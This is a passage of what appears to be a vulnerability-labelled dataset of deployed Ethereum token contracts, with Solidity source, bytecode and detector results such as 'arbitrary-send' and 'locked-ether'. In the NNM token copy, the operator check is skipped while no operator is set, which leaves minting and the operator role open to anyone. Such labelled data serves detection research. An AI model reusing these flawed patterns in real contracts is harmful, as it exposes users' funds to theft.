013e610bd7565b606091505b509150915081610c2e576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610c8757808060200190516020811015610c4a57600080fd5b5051610c875760405162461bcd60e51b815260040180806020018281038252602a815260200180610c8e602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220675c3cab11683b92f26d6328f3aa536ede89f877aa331551f86eeab51fb49cf364736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,119 |
0x5498644ac4c6bd00cc4f50ad0d6c983ada8196eb | pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC223Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Token is ERC223Basic {
using SafeMath for uint256;
mapping(address => uint256) balances; // List of user balances.
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public onlyPayloadSize(3) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2) returns(bool) {
uint codeLength;
bytes memory empty;
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value, empty);
return true;
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, ERC223Token {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RaiseYourBet is StandardToken {
string public constant name = "RaiseYourBet";
string public constant symbol = "RAISE";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 75*10**7 * (10**uint256(decimals));
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
revert();
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
} | 0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c657806366188463146102f757806370a082311461035c5780638da5cb5b146103b357806395d89b411461040a578063a6f9dae11461049a578063a9059cbb146104f5578063be45fd621461055a578063bef97c87146105ed578063d73dd6231461061c578063dd62ed3e14610681578063f41e60c5146106f8575b600080fd5b34801561010257600080fd5b5061010b610727565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610852565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610c4b565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610c5c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030357600080fd5b50610342600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c61565b604051808215151515815260200191505060405180910390f35b34801561036857600080fd5b5061039d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef2565b6040518082815260200191505060405180910390f35b3480156103bf57600080fd5b506103c8610f3b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041657600080fd5b5061041f610f61565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045f578082015181840152602081019050610444565b50505050905090810190601f16801561048c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a657600080fd5b506104db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f9a565b604051808215151515815260200191505060405180910390f35b34801561050157600080fd5b50610540600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fa565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b506105eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611500565b005b3480156105f957600080fd5b506106026118fc565b604051808215151515815260200191505060405180910390f35b34801561062857600080fd5b50610667600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061190f565b604051808215151515815260200191505060405180910390f35b34801561068d57600080fd5b506106e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b0b565b6040518082815260200191505060405180910390f35b34801561070457600080fd5b50610725600480360381019080803515159060200190929190505050611baa565b005b6040805190810160405280600c81526020017f5261697365596f7572426574000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000600360046020820201600036905014151561087157fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156108ad57600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156108fb57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561098657600080fd5b600360009054906101000a900460ff1615156109a157600080fd5b6109f383600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8883600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5a83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a632cb417800281565b601281565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d72576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e06565b610d858382611c2390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f524149534500000000000000000000000000000000000000000000000000000081525081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561103457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060606000600260046020820201600036905014151561111857fe5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415151561115457600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486111515156111a257600080fd5b600360009054906101000a900460ff1615156111bd57600080fd5b863b935061121386600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a886600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000841115611420578691508173ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3388866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113b957808201518184015260208101905061139e565b50505050905090810190601f1680156113e65780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561140757600080fd5b505af115801561141b573d6000803e3d6000fd5b505050505b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1688866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114b757808201518184015260208101905061149c565b50505050905090810190601f1680156114e45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600194505050505092915050565b600080600360046020820201600036905014151561151a57fe5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561155657600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485111515156115a457600080fd5b600360009054906101000a900460ff1615156115bf57600080fd5b853b925061161585600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116aa85600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115611822578591508173ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3387876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117bb5780820151818401526020810190506117a0565b50505050905090810190601f1680156117e85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561180957600080fd5b505af115801561181d573d6000803e3d6000fd5b505050505b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118b957808201518184015260208101905061189e565b50505050905090810190601f1680156118e65780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050505050565b600360009054906101000a900460ff1681565b60006119a082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611b2457fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0657600080fd5b80600360006101000a81548160ff02191690831515021790555050565b6000828211151515611c3157fe5b818303905092915050565b6000808284019050838110151515611c5057fe5b80915050929150505600a165627a7a723058207e4b148a5612135659f1321db7d3da4b5aafbf5cc5c066a64f7d090b3951f2300029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,120 |
0x3e4d3c42f780bda7c40081baf5069dd3d441ffcf | /**
*Submitted for verification at Etherscan.io on 2021-08-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-14
*/
/**
*Submitted for verification at Etherscan.io on 2019-05-30
*/
pragma solidity ^0.5.7;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/* Copyright (C) 2017 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
contract NXMToken is IERC20 {
using SafeMath for uint256;
event WhiteListed(address indexed member);
event BlackListed(address indexed member);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (address => bool) public whiteListed;
mapping(address => uint) public isLockedForMV;
uint256 private _totalSupply;
string public name = "NNM";
string public symbol = "NNM";
uint8 public decimals = 18;
address public operator;
modifier canTransfer(address _to) {
require(whiteListed[_to]);
_;
}
modifier onlyOperator() {
if (operator != address(0))
require(msg.sender == operator);
_;
}
constructor(address _founderAddress, uint _initialSupply) public {
_mint(_founderAddress, _initialSupply);
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Adds a user to whitelist
* @param _member address to add to whitelist
*/
function addToWhiteList(address _member) public onlyOperator returns (bool) {
whiteListed[_member] = true;
emit WhiteListed(_member);
return true;
}
/**
* @dev removes a user from whitelist
* @param _member address to remove from whitelist
*/
function removeFromWhiteList(address _member) public onlyOperator returns (bool) {
whiteListed[_member] = false;
emit BlackListed(_member);
return true;
}
/**
* @dev change operator address
* @param _newOperator address of new operator
*/
function changeOperator(address _newOperator) public onlyOperator returns (bool) {
operator = _newOperator;
return true;
}
/**
* @dev burns an amount of the tokens of the message sender
* account.
* @param amount The amount that will be burnt.
*/
function burn(uint256 amount) public returns (bool) {
_burn(msg.sender, amount);
return true;
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public returns (bool) {
_burnFrom(from, value);
return true;
}
/**
* @dev function that mints an amount of the token and assigns it to
* an account.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function mint(address account, uint256 amount) public onlyOperator {
_mint(account, amount);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public canTransfer(to) returns (bool) {
require(isLockedForMV[msg.sender] < now); // if not voted under governance
require(value <= _balances[msg.sender]);
_transfer(to, value);
return true;
}
/**
* @dev Transfer tokens to the operator from the specified address
* @param from The address to transfer from.
* @param value The amount to be transferred.
*/
function operatorTransfer(address from, uint256 value) public onlyOperator returns (bool) {
require(value <= _balances[from]);
_transferFrom(from, operator, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
canTransfer(to)
returns (bool)
{
require(isLockedForMV[from] < now); // if not voted under governance
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
_transferFrom(from, to, value);
return true;
}
/**
* @dev Lock the user's tokens
* @param _of user's address.
*/
function lockForMemberVote(address _of, uint _days) public onlyOperator {
if (_days.add(now) > isLockedForMV[_of])
isLockedForMV[_of] = _days.add(now);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address to, uint256 value) internal {
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function _transferFrom(
address from,
address to,
uint256 value
)
internal
{
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
